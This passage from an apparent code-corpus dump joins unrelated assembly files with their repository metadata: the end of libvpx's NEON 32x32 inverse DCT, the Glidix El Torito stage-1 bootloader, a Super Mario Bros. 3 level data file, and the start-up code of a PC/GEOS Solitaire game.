LOAD_FROM_OUTPUT 13, 28, 29, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_IN_OUTPUT 29, 28, 29, q6, q7
STORE_IN_OUTPUT 29, 2, 3, q4, q5
; --------------------------------------------------------------------------
; part of stage 7
;step1[4] = step1b[4][i] + step1b[11][i];
;step1[5] = step1b[5][i] + step1b[10][i];
;step1[10] = step1b[5][i] - step1b[10][i];
;step1[11] = step1b[4][i] - step1b[11][i];
LOAD_FROM_OUTPUT 3, 10, 11, q0, q1
vadd.s16 q2, q12, q1
vadd.s16 q3, q13, q0
vsub.s16 q4, q13, q0
vsub.s16 q5, q12, q1
; --------------------------------------------------------------------------
; part of final stage
;output[10 * 32] = step1b[10][i] + step1b[21][i];
;output[11 * 32] = step1b[11][i] + step1b[20][i];
;output[20 * 32] = step1b[11][i] - step1b[20][i];
;output[21 * 32] = step1b[10][i] - step1b[21][i];
LOAD_FROM_OUTPUT 11, 20, 21, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_IN_OUTPUT 21, 20, 21, q6, q7
STORE_IN_OUTPUT 21, 10, 11, q8, q9
; --------------------------------------------------------------------------
; part of final stage
;output[ 4 * 32] = step1b[4][i] + step1b[27][i];
;output[ 5 * 32] = step1b[5][i] + step1b[26][i];
;output[26 * 32] = step1b[5][i] - step1b[26][i];
;output[27 * 32] = step1b[4][i] - step1b[27][i];
LOAD_FROM_OUTPUT 11, 26, 27, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_IN_OUTPUT 27, 26, 27, q6, q7
STORE_IN_OUTPUT 27, 4, 5, q4, q5
; --------------------------------------------------------------------------
; part of stage 7
;step1[6] = step1b[6][i] + step1b[9][i];
;step1[7] = step1b[7][i] + step1b[8][i];
;step1[8] = step1b[7][i] - step1b[8][i];
;step1[9] = step1b[6][i] - step1b[9][i];
LOAD_FROM_OUTPUT 5, 8, 9, q0, q1
vadd.s16 q2, q14, q1
vadd.s16 q3, q15, q0
vsub.s16 q4, q15, q0
vsub.s16 q5, q14, q1
; --------------------------------------------------------------------------
; part of final stage
;output[ 8 * 32] = step1b[8][i] + step1b[23][i];
;output[ 9 * 32] = step1b[9][i] + step1b[22][i];
;output[22 * 32] = step1b[9][i] - step1b[22][i];
;output[23 * 32] = step1b[8][i] - step1b[23][i];
LOAD_FROM_OUTPUT 9, 22, 23, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_IN_OUTPUT 23, 22, 23, q6, q7
STORE_IN_OUTPUT 23, 8, 9, q8, q9
; --------------------------------------------------------------------------
; part of final stage
;output[ 6 * 32] = step1b[6][i] + step1b[25][i];
;output[ 7 * 32] = step1b[7][i] + step1b[24][i];
;output[24 * 32] = step1b[7][i] - step1b[24][i];
;output[25 * 32] = step1b[6][i] - step1b[25][i];
LOAD_FROM_OUTPUT 9, 24, 25, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_IN_OUTPUT 25, 24, 25, q6, q7
STORE_IN_OUTPUT 25, 6, 7, q4, q5
; restore r0 by removing the last offset from the last
; operation (LOAD_FROM_TRANSPOSED 16, 8, 24) => 24*8*2
sub r0, r0, #24*8*2
; restore r1 by removing the last offset from the last
; operation (STORE_IN_OUTPUT 24, 6, 7) => 7*32*2
; advance by 8 columns => 8*2
sub r1, r1, #7*32*2 - 8*2
; advance by 8 lines (8*32*2)
; go back by the two pairs from the loop (32*2)
add r3, r3, #8*32*2 - 32*2
; bands loop processing
subs r4, r4, #1
bne idct32_bands_loop
; parameters for second pass
; the input of pass2 is the result of pass1. we have to remove the offset
; of 32 columns induced by the above idct32_bands_loop
sub r3, r1, #32*2
; r1 = pass2[32 * 32]
add r1, sp, #2048
; pass loop processing
add r5, r5, #1
b idct32_pass_loop
idct32_bands_end_2nd_pass
STORE_COMBINE_CENTER_RESULTS
; --------------------------------------------------------------------------
; part of final stage
;output[ 0 * 32] = step1b[0][i] + step1b[31][i];
;output[ 1 * 32] = step1b[1][i] + step1b[30][i];
;output[30 * 32] = step1b[1][i] - step1b[30][i];
;output[31 * 32] = step1b[0][i] - step1b[31][i];
LOAD_FROM_OUTPUT 17, 30, 31, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_COMBINE_EXTREME_RESULTS
; --------------------------------------------------------------------------
; part of stage 7
;step1[2] = step1b[2][i] + step1b[13][i];
;step1[3] = step1b[3][i] + step1b[12][i];
;step1[12] = step1b[3][i] - step1b[12][i];
;step1[13] = step1b[2][i] - step1b[13][i];
LOAD_FROM_OUTPUT 31, 12, 13, q0, q1
vadd.s16 q2, q10, q1
vadd.s16 q3, q11, q0
vsub.s16 q4, q11, q0
vsub.s16 q5, q10, q1
; --------------------------------------------------------------------------
; part of final stage
;output[12 * 32] = step1b[12][i] + step1b[19][i];
;output[13 * 32] = step1b[13][i] + step1b[18][i];
;output[18 * 32] = step1b[13][i] - step1b[18][i];
;output[19 * 32] = step1b[12][i] - step1b[19][i];
LOAD_FROM_OUTPUT 13, 18, 19, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_COMBINE_CENTER_RESULTS
; --------------------------------------------------------------------------
; part of final stage
;output[ 2 * 32] = step1b[2][i] + step1b[29][i];
;output[ 3 * 32] = step1b[3][i] + step1b[28][i];
;output[28 * 32] = step1b[3][i] - step1b[28][i];
;output[29 * 32] = step1b[2][i] - step1b[29][i];
LOAD_FROM_OUTPUT 19, 28, 29, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_COMBINE_EXTREME_RESULTS
; --------------------------------------------------------------------------
; part of stage 7
;step1[4] = step1b[4][i] + step1b[11][i];
;step1[5] = step1b[5][i] + step1b[10][i];
;step1[10] = step1b[5][i] - step1b[10][i];
;step1[11] = step1b[4][i] - step1b[11][i];
LOAD_FROM_OUTPUT 29, 10, 11, q0, q1
vadd.s16 q2, q12, q1
vadd.s16 q3, q13, q0
vsub.s16 q4, q13, q0
vsub.s16 q5, q12, q1
; --------------------------------------------------------------------------
; part of final stage
;output[10 * 32] = step1b[10][i] + step1b[21][i];
;output[11 * 32] = step1b[11][i] + step1b[20][i];
;output[20 * 32] = step1b[11][i] - step1b[20][i];
;output[21 * 32] = step1b[10][i] - step1b[21][i];
LOAD_FROM_OUTPUT 11, 20, 21, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_COMBINE_CENTER_RESULTS
; --------------------------------------------------------------------------
; part of final stage
;output[ 4 * 32] = step1b[4][i] + step1b[27][i];
;output[ 5 * 32] = step1b[5][i] + step1b[26][i];
;output[26 * 32] = step1b[5][i] - step1b[26][i];
;output[27 * 32] = step1b[4][i] - step1b[27][i];
LOAD_FROM_OUTPUT 21, 26, 27, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_COMBINE_EXTREME_RESULTS
; --------------------------------------------------------------------------
; part of stage 7
;step1[6] = step1b[6][i] + step1b[9][i];
;step1[7] = step1b[7][i] + step1b[8][i];
;step1[8] = step1b[7][i] - step1b[8][i];
;step1[9] = step1b[6][i] - step1b[9][i];
LOAD_FROM_OUTPUT 27, 8, 9, q0, q1
vadd.s16 q2, q14, q1
vadd.s16 q3, q15, q0
vsub.s16 q4, q15, q0
vsub.s16 q5, q14, q1
; --------------------------------------------------------------------------
; part of final stage
;output[ 8 * 32] = step1b[8][i] + step1b[23][i];
;output[ 9 * 32] = step1b[9][i] + step1b[22][i];
;output[22 * 32] = step1b[9][i] - step1b[22][i];
;output[23 * 32] = step1b[8][i] - step1b[23][i];
LOAD_FROM_OUTPUT 9, 22, 23, q0, q1
vadd.s16 q8, q4, q1
vadd.s16 q9, q5, q0
vsub.s16 q6, q5, q0
vsub.s16 q7, q4, q1
STORE_COMBINE_CENTER_RESULTS_LAST
; --------------------------------------------------------------------------
; part of final stage
;output[ 6 * 32] = step1b[6][i] + step1b[25][i];
;output[ 7 * 32] = step1b[7][i] + step1b[24][i];
;output[24 * 32] = step1b[7][i] - step1b[24][i];
;output[25 * 32] = step1b[6][i] - step1b[25][i];
LOAD_FROM_OUTPUT 23, 24, 25, q0, q1
vadd.s16 q4, q2, q1
vadd.s16 q5, q3, q0
vsub.s16 q6, q3, q0
vsub.s16 q7, q2, q1
STORE_COMBINE_EXTREME_RESULTS_LAST
; --------------------------------------------------------------------------
; restore pointers to their initial indices for next band pass by
; removing/adding dest_stride * 8. The actual increment by eight
; is taken care of within the _LAST macros.
add r6, r6, r2, lsl #3
add r9, r9, r2, lsl #3
sub r7, r7, r2, lsl #3
sub r10, r10, r2, lsl #3
; restore r0 by removing the last offset from the last
; operation (LOAD_FROM_TRANSPOSED 16, 8, 24) => 24*8*2
sub r0, r0, #24*8*2
; restore r1 by removing the last offset from the last
; operation (LOAD_FROM_OUTPUT 23, 24, 25) => 25*32*2
; advance by 8 columns => 8*2
sub r1, r1, #25*32*2 - 8*2
; advance by 8 lines (8*32*2)
; go back by the two pairs from the loop (32*2)
add r3, r3, #8*32*2 - 32*2
; bands loop processing
subs r4, r4, #1
bne idct32_bands_loop
; stack operation
add sp, sp, #512+2048+2048
vpop {d8-d15}
pop {r4-r11}
bx lr
ENDP ; |vp9_idct32x32_1024_add_neon|
END
| 41.617692 | 106 | 0.49391 | [
"MIT"
] | amd/Chromium-WebCL | src/third_party/libvpx/source/libvpx/vp9/common/arm/neon/vp9_short_idct32x32_add_neon.asm | 54,103 | Assembly |
; Glidix bootloader (gxboot)
;
; Copyright (c) 2014-2017, Madd Games.
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; * Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
org 0x6000
jmp boot
times 8-($-$$) db 0
; Boot Information Table
bi_PrimaryVolumeDescriptor resd 1 ; LBA of the Primary Volume Descriptor
bi_BootFileLocation resd 1 ; LBA of the Boot File
bi_BootFileLength resd 1 ; Length of the boot file in bytes
bi_Checksum resd 1 ; 32 bit checksum
bi_Reserved resb 40 ; Reserved 'for future standardization'
boot:
; set up segments
cli
xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, 0x6000
; copy our own code to 0x6000
mov si, 0x7C00
mov di, 0x6000
mov cx, 0x800
rep movsb
; update code segment and IP
jmp 0:start
start:
sti
; the VBR (to be loaded at 0x7C00) is directly after us
mov ax, [bi_BootFileLocation]
inc ax
mov [dap.lba], ax
; number of sectors to read = (bootFileSize - 2048) / 2048 + 1
mov ax, [bi_BootFileLength]
sub ax, 2048
shr ax, 11
inc ax
mov [dap.count], ax
; preserve the boot disk ID
push dx
; read (disk number already in DL)
mov si, dap
mov ah, 0x42
int 0x13
jc boot_failed
; restore disk number and jump to VBR
pop dx
jmp 0:0x7C00
; we jump to here if the boot fails
boot_failed:
int 0x18
dap:
db 0x10 ; size
db 0 ; unused
.count dw 1 ; number of sectors to read
dw 0x7C00 ; destination offset
dw 0 ; destination segment
.lba dd 0 ; LBA to read from
dd 0 ; high 32 bits of LBA, unused
| 28.4375 | 80 | 0.734432 | [
"BSD-2-Clause"
] | madd-games/glidix | gxboot/eltorito-stage1.asm | 2,730 | Assembly |
; Original address was $B501
; 1-4
.word W104_EndL ; Alternate level layout
.word W104_EndO ; Alternate object layout
.byte LEVEL1_SIZE_08 | LEVEL1_YSTART_140
.byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18 | LEVEL2_UNUSEDFLAG
.byte LEVEL3_TILESET_01 | LEVEL3_VSCROLL_LOCKLOW | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(4) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_ATHLETIC | LEVEL5_TIME_300
.byte $16, $00, $69, $15, $04, $44, $36, $0E, $13, $10, $0A, $01, $12, $01, $01, $13
.byte $06, $00, $19, $0E, $01, $31, $1A, $82, $33, $15, $82, $35, $18, $14, $12, $11
.byte $00, $13, $1A, $01, $17, $1F, $00, $18, $18, $00, $32, $26, $13, $37, $28, $11
.byte $32, $28, $0B, $11, $22, $01, $11, $2C, $01, $15, $2A, $00, $34, $2F, $10, $35
.byte $2F, $10, $36, $2F, $10, $37, $2F, $13, $35, $36, $10, $36, $36, $10, $37, $36
.byte $10, $38, $36, $12, $35, $3B, $10, $36, $3B, $11, $36, $3F, $14, $39, $3C, $13
.byte $31, $35, $82, $33, $30, $82, $36, $3F, $0A, $13, $38, $01, $19, $32, $01, $14
.byte $32, $00, $18, $3A, $00, $36, $3C, $07, $33, $4A, $13, $32, $4D, $0B, $38, $48
.byte $14, $37, $4F, $11, $11, $42, $01, $15, $48, $01, $10, $4F, $00, $19, $49, $00
.byte $33, $57, $12, $32, $53, $82, $31, $5E, $80, $32, $5E, $80, $33, $5E, $80, $34
.byte $5E, $80, $35, $5E, $80, $36, $5E, $80, $37, $5E, $80, $38, $5E, $80, $12, $5B
.byte $01, $18, $53, $01, $14, $56, $00, $18, $5A, $00, $32, $60, $0A, $33, $60, $10
.byte $37, $60, $10, $38, $60, $10, $39, $60, $13, $32, $6C, $10, $33, $6C, $10, $34
.byte $6C, $10, $37, $6F, $12, $11, $6F, $00, $13, $68, $00, $19, $6C, $00, $12, $62
.byte $01, $16, $66, $01, $33, $76, $82, $19, $78, $27, $35, $79, $93, $17, $7B, $62
.byte $11, $78, $01, $16, $74, $01, $13, $7D, $00, $2F, $7F, $40, $30, $7F, $40, $31
.byte $7F, $40, $32, $7F, $40, $33, $7F, $40, $34, $7F, $40, $35, $7F, $40, $36, $7F
.byte $40, $37, $7F, $40, $38, $7F, $40, $E7, $71, $80, $FF
| 66.827586 | 85 | 0.504128 | [
"Unlicense"
] | narfman0/smb3_pp1 | PRG/levels/HighUp/1-4.asm | 1,938 | Assembly |
COMMENT @----------------------------------------------------------------------
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Solitaire
FILE: cards.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jon 6/90 Initial Version
DESCRIPTION:
RCS STAMP:
$Id: solitaire.asm,v 1.1 97/04/04 15:46:56 newdeal Exp $
------------------------------------------------------------------------------@
;------------------------------------------------------------------------------
; Common GEODE stuff
;------------------------------------------------------------------------------
_Application = 1
;Standard include files
include geos.def
include geode.def
include ec.def
include product.def
;------------------------------------------------------------------------------
; FULL_EXECUTE_IN_PLACE : Indicates that the solitaire app. is going to
; be used in a system where all geodes (or most, at any rate)
; are to be executed out of ROM.
;------------------------------------------------------------------------------
ifndef FULL_EXECUTE_IN_PLACE
FULL_EXECUTE_IN_PLACE equ FALSE
endif
;------------------------------------------------------------------------------
; The .GP file only understands defined/not defined;
; it can not deal with expression evaluation.
; Thus, for the TRUE/FALSE conditionals, we define
; GP symbols that _only_ get defined when the
; condition is true.
;-----------------------------------------------------------------------------
if FULL_EXECUTE_IN_PLACE
GP_FULL_EXECUTE_IN_PLACE equ TRUE
endif
if FULL_EXECUTE_IN_PLACE
include Internal/xip.def
endif
include solitaireMacros.def
include library.def
include resource.def
include object.def
include graphics.def
include gstring.def
include Objects/winC.def
include heap.def
include lmem.def
include timer.def
include timedate.def
include system.def
include file.def
include fileEnum.def
include vm.def
include hugearr.def
include Objects/inputC.def
include initfile.def
include dbase.def
;------------------------------------------------------------------------------
; Libraries used
;------------------------------------------------------------------------------
Strings segment lmem
Strings ends
UseLib ui.def
UseLib cards.def
UseLib dbase.def
UseLib Objects/vTextC.def
UseLib sound.def
UseLib wav.def
include solitaireGame.asm
include solitaireHand.asm
include solitaireTalon.asm
;include solitaireHiScore.asm
include Internal/im.def
;------------------------------------------------------------------------------
; Macros
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Constants
;------------------------------------------------------------------------------
SCORE_DISPLAY_BUFFER_SIZE equ 12 ;11 chars for score +
; null terminator
SHOW_ON_STARTUP equ 1
;
; This enum is used to identify which sound to play.
;
SolitaireSound etype word
SS_DEALING enum SolitaireSound
SS_OUT_OF_TIME enum SolitaireSound
SS_GAME_WON enum SolitaireSound
SS_CARD_MOVE_FLIP enum SolitaireSound
SS_DROP_BAD enum SolitaireSound
;
; This enum matches the values encoded in [sound]/wavDescriptions.
;
SolitaireWavInitSound etype word
SWIS_OUT_OF_TIME enum SolitaireWavInitSound
SWIS_GAME_WON enum SolitaireWavInitSound
;------------------------------------------------------------------------------
; Definitions
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Object Class include files
;------------------------------------------------------------------------------
;------------------------------------------------------------------------------
; Class & Method Definitions
;------------------------------------------------------------------------------
;This is the class for this application's process.
SolitaireProcessClass class GenProcessClass
SolitaireProcessClass endc ;end of class definition
;------------------------------------------------------------------------------
; Resources
;------------------------------------------------------------------------------
include solitaireSizes.def
include solitaire.rdef
;------------------------------------------------------------------------------
; Initialized variables and class structures
;------------------------------------------------------------------------------
if FULL_EXECUTE_IN_PLACE
SolitaireClassStructures segment resource
else
idata segment
endif
;Class definition is stored in the application's idata resource here.
SolitaireProcessClass mask CLASSF_NEVER_SAVED
if FULL_EXECUTE_IN_PLACE
SolitaireClassStructures ends
else
idata ends
endif
CommonCode segment resource ;start of code resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireStartup
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: MSG_UI_OPEN_APPLICATION handler for SolitaireProcessClass
Sends the game object a MSG_GAME_SETUP_STUFF which readies
everything for an exciting session of solitaire!
CALLED BY:
PASS: same as superclass
CHANGES:
RETURN: same as superclass
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
jon 11/90 initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireOpenApplication method dynamic SolitaireProcessClass,
MSG_GEN_PROCESS_OPEN_APPLICATION
.enter
call SolitaireSetUpSounds
call SolitaireSetViewBackgroundColor
call SolitaireCheckIfGameIsOpen ; check for the Laserus Case
jnc gameNotOpen ; the game isn't open
;gameAlreadyOpen:
mov di, segment SolitaireProcessClass
mov es, di
mov di, offset SolitaireProcessClass
mov ax, MSG_GEN_PROCESS_OPEN_APPLICATION
call ObjCallSuperNoLock
jmp done
gameNotOpen:
test cx, mask AAF_RESTORING_FROM_STATE
jz startingUp
push cx, dx, bp ; save passed values
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov ax, MSG_GAME_RESTORE_BITMAPS
mov di, mask MF_FIXUP_DS
call ObjMessage
pop cx, dx, bp ; restore passed values
mov di, segment SolitaireProcessClass
mov es, di
mov di, offset SolitaireProcessClass
mov ax, MSG_GEN_PROCESS_OPEN_APPLICATION
call ObjCallSuperNoLock
jmp markGameOpen
startingUp:
push cx, dx, bp ; save passed values
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov ax, MSG_GAME_SETUP_STUFF
mov di, mask MF_FIXUP_DS
call ObjMessage
pop cx, dx, bp ; restore passed values
mov di, segment SolitaireProcessClass
mov es, di
mov di, offset SolitaireProcessClass
mov ax, MSG_GEN_PROCESS_OPEN_APPLICATION
call ObjCallSuperNoLock
;
; Check first to see if the user really wants to see a quick tip.
;
push ds
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString ;category
mov dx, offset klondikeTipsString ;key
clr ax ; assume false
call InitFileReadBoolean ; look into the .ini file
pop ds
mov cx, SHOW_ON_STARTUP ; assume we'll show tips
tst ax
jz setQuickTipsState ; correct assumtion!
clr cx ; nope - no tips
setQuickTipsState:
push cx
mov bx, handle ShowOnStartupGroup
mov si, offset ShowOnStartupGroup
mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE
clr dx
mov di, mask MF_FIXUP_DS
call ObjMessage
pop cx
jcxz letsPlay ; cx is zero to not show tips
;
; show the tips
;
mov bx, handle TipsInteraction
mov si, offset TipsInteraction
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_FIXUP_DS
call ObjMessage
;
; We're not restoring from state, so we need to create a full
; deck and start a new game here
;
letsPlay:
CallObject MyHand, MSG_HAND_MAKE_FULL_HAND, MF_FIXUP_DS
CallObject MyPlayingTable, MSG_SOLITAIRE_INIT_DATA_FROM_UI, MF_FORCE_QUEUE
CallObject MyPlayingTable, MSG_SOLITAIRE_NEW_GAME, MF_FORCE_QUEUE
;
; Get which card back we're using
;
mov cx, cs
mov ds, cx ;DS:SI <- ptr to category string
mov si, offset klondikeCategoryString
mov dx, offset klondikeWhichBackString
call InitFileReadInteger
jc setDefaultBack
mov_trash cx, ax ;cx <- which back
jmp setBack
setDefaultBack:
mov cx, 2 ; set default back
setBack:
mov ax, MSG_GAME_SET_WHICH_BACK
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
clr di
call ObjMessage
;
; Get the number of cards to flip each time
;
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeCountdownTimeString
call InitFileReadInteger
jc nFlipCards
mov_trash cx, ax ;cx <- time
mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
clr di
call ObjMessage
;
; Get the number of cards to flip each time
;
nFlipCards:
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeDrawHowManyString
call InitFileReadInteger
jc scoringMode
mov_trash cx, ax ;cx <- which back
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov bx, handle DrawList
mov si, offset DrawList
clr di
call ObjMessage
scoringMode:
;
; Get the scoring mode
;
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeScoringModeString
call InitFileReadInteger
jc playLevel
mov_trash cx, ax ;cx <- which back
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov bx, handle ScoringList
mov si, offset ScoringList
clr di
call ObjMessage
playLevel:
;
; Get the play level
;
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikePlayLevelString
call InitFileReadInteger
jc dragMode
mov_trash cx, ax ;cx <- which back
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov bx, handle UserModeList
mov si, offset UserModeList
clr di
call ObjMessage
dragMode:
if _NDO2000
;
; See if we should be outline dragging
;
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString
mov dx, offset klondikeDragModeString
call InitFileReadInteger
jc getFading
mov_trash cx, ax ;cx <- which back
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
mov bx, handle DragList
mov si, offset DragList
clr di
call ObjMessage
getFading:
endif
;
; Set fading mode.
;
mov cx, cs
mov ds, cx
mov si, offset klondikeCategoryString ;category
mov dx, offset klondikeFadingString ;key
call InitFileReadBoolean ;look into the .ini file
jc scoreReset ;value not found, branch
mov_tr cx, ax
clr dx
mov bx, handle FadeList
mov si, offset FadeList
mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE
clr di
call ObjMessage
scoreReset:
;
; Enable scoring reset trigger?
;
segmov ds, cs, cx
mov si, offset klondikeCategoryString ;category
mov dx, offset klondikeResetScoreString ;key
clr ax ;assume false
call InitFileReadBoolean ;look into the .ini file
tst ax
jz muteSet
mov bx, handle ResetScoreTrigger
mov si, offset ResetScoreTrigger
mov ax, MSG_GEN_SET_USABLE
mov dl, VUM_DELAYED_VIA_UI_QUEUE
clr di
call ObjMessage
muteSet:
;
; Mute the sound?
;
segmov ds, cs, cx
mov si, offset klondikeCategoryString ;category
mov dx, offset klondikeMuteSoundString ;key
clr ax
call InitFileReadBoolean
and ax, 1 ;filter through mute bit
jz markGameOpen
mov_tr cx, ax
clr dx
mov bx, handle SoundList
mov si, offset SoundList
mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE
clr di
call ObjMessage
markGameOpen:
call SolitaireMarkGameOpen
done:
.leave
ret
SolitaireOpenApplication endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireCheckIfGameIsOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Will check if the varData ATTR_SOLITAIRE_GAME_OPEN
exists for MyPlayingTable
CALLED BY: SolitiareOpenApplication
PASS: nothing
RETURN: carry set if vardata found
carry clear if not found
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PW 7/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireCheckIfGameIsOpen proc near
uses ax,bx,cx,dx,si,di,bp
.enter
sub sp, size GetVarDataParams
mov bp, sp
mov ss:[bp].GVDP_dataType, \
ATTR_SOLITAIRE_GAME_OPEN
mov {word} ss:[bp].GVDP_bufferSize, 0
; clrdw ss:[bp].GVDP_buffer
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov ax, MSG_META_GET_VAR_DATA
mov dx, size GetVarDataParams
mov di, mask MF_CALL or mask MF_STACK
call ObjMessage
add sp, size GetVarDataParams
cmp ax, -1 ; check if not found
stc
jne varDataFound
;varDataNotFound:
clc
varDataFound:
.leave
ret
SolitaireCheckIfGameIsOpen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireMarkGameOpen
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Will add the varData ATTR_SOLITAIRE_GAME_OPEN to
MyPlayingTable
CALLED BY: SolitaireOpenApplication
PASS: nothing
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
PW 7/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireMarkGameOpen proc near
uses ax,bx,cx,dx,si,di,bp
.enter
sub sp, size AddVarDataParams
mov bp, sp
mov ss:[bp].AVDP_dataType, \
ATTR_SOLITAIRE_GAME_OPEN
mov {word} ss:[bp].AVDP_dataSize, size byte
clrdw ss:[bp].AVDP_data
mov bx, handle MyPlayingTable
mov si, offset MyPlayingTable
mov ax, MSG_META_ADD_VAR_DATA
mov dx, size AddVarDataParams
mov di, mask MF_CALL or mask MF_STACK
call ObjMessage
add sp, size AddVarDataParams
.leave
ret
SolitaireMarkGameOpen endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireSetViewBackgroundColor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the background color of the view to green if on
a color display, white if on a black and white
display, and gray if on a TV
CALLED BY: SolitaireOpenApplication
PASS:
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
